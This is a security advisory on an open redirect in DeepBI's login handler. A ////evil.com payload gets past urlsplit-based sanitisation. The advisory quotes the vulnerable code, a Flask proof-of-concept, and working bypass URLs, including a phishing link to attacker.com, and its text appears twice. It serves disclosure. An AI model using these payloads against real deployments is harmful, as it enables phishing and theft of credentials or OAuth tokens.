Version
Introduction
DeepBI (commit 8baf98e) is vulnerable to Open Redirect via a URL parsing inconsistency between Python’s urlsplit() and browser URL interpretation. The get_next_path() function in bi/authentication/__init__.py attempts to prevent open redirects by stripping the scheme and netloc components, but can be bypassed using multi-slash payloads.
The core issue: urlsplit() parses URLs with 4+ leading slashes (e.g., ////evil.com) differently from how browsers interpret the resulting sanitized output:
urlsplit("////evil.com") treats the input as having an empty scheme and empty netloc, placing //evil.com in the path component
- After clearing scheme and netloc (which are already empty),
urlunsplit() produces //evil.com
- Browsers interpret
//evil.com as a protocol-relative URL, redirecting to evil.com
Since the sanitization operates on urlsplit() components but the output is consumed by the browser via Location header, the protection is completely bypassed.
Details
The open redirect protection in bi/authentication/__init__.py (lines 303-319) uses urlsplit() to decompose the URL and strips scheme/netloc:
# bi/authentication/__init__.py:303-319
def get_next_path(unsafe_next_path):
if not unsafe_next_path:
return ""
# Preventing open redirection attacks
parts = list(urlsplit(unsafe_next_path))
parts[0] = "" # clear scheme
parts[1] = "" # clear netloc
safe_next_path = urlunsplit(parts)
if not safe_next_path:
safe_next_path = "./"
return safe_next_path
This function is called during login in bi/handlers/authentication.py (lines 283-286/299):
# bi/handlers/authentication.py:272-299
@routes.route(org_scoped_rule("/login"), methods=["GET", "POST"])
def login(org_slug=None):
...
index_url = url_for("bi.index", org_slug=org_slug)
unsafe_next_path = request.args.get("next", index_url)
next_path = get_next_path(unsafe_next_path)
if current_user.is_authenticated:
return redirect(next_path) # line 286
...
login_user(user, remember=remember)
return redirect(next_path) # line 299
With the payload ////evil.com:
- Sanitization:
urlsplit("////evil.com") → SplitResult(scheme='', netloc='', path='//evil.com', query='', fragment='') — scheme and netloc are already empty, clearing them has no effect
- Reconstruction:
urlunsplit(['', '', '//evil.com', '', '']) → //evil.com
- Redirect:
redirect("//evil.com") sets Location: //evil.com — browser interprets as a protocol-relative URL, navigating to evil.com
urlsplit("////evil.com")
→ scheme='', netloc='', path='//evil.com', query='', fragment=''
(4 slashes: urlsplit sees no authority component, entire "//evil.com" lands in path)
urlunsplit(['', '', '//evil.com', '', ''])
→ "//evil.com"
(scheme and netloc were already empty — clearing is a no-op)
Browser receives Location: //evil.com
→ interprets as protocol-relative URL → navigates to http(s)://evil.com
PoC
Demo Code:
from urllib.parse import urlsplit, urlunsplit
from flask import Flask, request, redirect
app = Flask(__name__)
def get_next_path(unsafe_next_path):
"""Mirror from bi/authentication/__init__.py:303-319"""
if not unsafe_next_path:
return ""
parts = list(urlsplit(unsafe_next_path))
parts[0] = "" # clear scheme
parts[1] = "" # clear netloc
safe_next_path = urlunsplit(parts)
if not safe_next_path:
safe_next_path = "./"
return safe_next_path
@app.route("/login")
def login():
unsafe_next_path = request.args.get("next", "/")
next_path = get_next_path(unsafe_next_path)
# mirror from authentication.py:286/299
return redirect(next_path)
if __name__ == "__main__":
app.run(debug=True, port=5002)
Dependencies (matching target application):
Flask==1.1.1
Jinja2==3.0.3
markupsafe==2.0.1
itsdangerous==2.0.1
werkzeug==1.0.1
Payload:
http://localhost:5002/login?next=////evil.com
Using //evil.com or http://evil.com as the next parameter is correctly blocked by get_next_path, which redirects to ./:
//evil.com → urlsplit extracts netloc='evil.com' → netloc is cleared → result is empty → falls back to ./
http://evil.com → urlsplit extracts scheme='http', netloc='evil.com' → both cleared → result is empty → falls back to ./
However, ////evil.com bypasses the protection: urlsplit parses it as scheme='', netloc='', path='//evil.com' — scheme and netloc are already empty, so clearing them is a no-op. The final redirect("//evil.com") sets Location: //evil.com, which the browser interprets as a protocol-relative URL and navigates to evil.com.
Impact
Who is impacted:
All DeepBI deployments — the vulnerable get_next_path() function has been present since the open redirect protection was introduced and remains in the latest commit (8baf98e).
What an attacker can do:
- Phishing: Craft a login URL like
https://deepbi.example.com/login?next=////attacker.com/login that, after successful authentication, redirects the victim to a convincing phishing page to harvest credentials a second time
- OAuth token theft: If combined with OAuth flows (Google OAuth is supported), redirect tokens or authorization codes to an attacker-controlled server
Version
Introduction
DeepBI (commit 8baf98e) is vulnerable to Open Redirect via a URL parsing inconsistency between Python’s
urlsplit()and browser URL interpretation. Theget_next_path()function inbi/authentication/__init__.pyattempts to prevent open redirects by stripping the scheme and netloc components, but can be bypassed using multi-slash payloads.The core issue:
urlsplit()parses URLs with 4+ leading slashes (e.g., ////evil.com) differently from how browsers interpret the resulting sanitized output:urlsplit("////evil.com")treats the input as having an empty scheme and empty netloc, placing//evil.comin the path componenturlunsplit()produces//evil.com//evil.comas a protocol-relative URL, redirecting toevil.comSince the sanitization operates on
urlsplit()components but the output is consumed by the browser viaLocationheader, the protection is completely bypassed.Details
The open redirect protection in
bi/authentication/__init__.py(lines 303-319) usesurlsplit()to decompose the URL and strips scheme/netloc:This function is called during login in
bi/handlers/authentication.py(lines 283-286/299):With the payload
////evil.com:urlsplit("////evil.com")→SplitResult(scheme='', netloc='', path='//evil.com', query='', fragment='')— scheme and netloc are already empty, clearing them has no effecturlunsplit(['', '', '//evil.com', '', ''])→//evil.comredirect("//evil.com")setsLocation: //evil.com— browser interprets as a protocol-relative URL, navigating toevil.comPoC
Demo Code:
Dependencies (matching target application):
Payload:
Using
//evil.comorhttp://evil.comas thenextparameter is correctly blocked byget_next_path, which redirects to./://evil.com→urlsplitextractsnetloc='evil.com'→ netloc is cleared → result is empty → falls back to./http://evil.com→urlsplitextractsscheme='http',netloc='evil.com'→ both cleared → result is empty → falls back to./However, ////evil.com bypasses the protection: urlsplit parses it as scheme='', netloc='', path='//evil.com' — scheme and netloc are already empty, so clearing them is a no-op. The final redirect("//evil.com") sets Location: //evil.com, which the browser interprets as a protocol-relative URL and navigates to evil.com.
Impact
Who is impacted:
All DeepBI deployments — the vulnerable
get_next_path()function has been present since the open redirect protection was introduced and remains in the latest commit (8baf98e).What an attacker can do:
https://deepbi.example.com/login?next=////attacker.com/loginthat, after successful authentication, redirects the victim to a convincing phishing page to harvest credentials a second time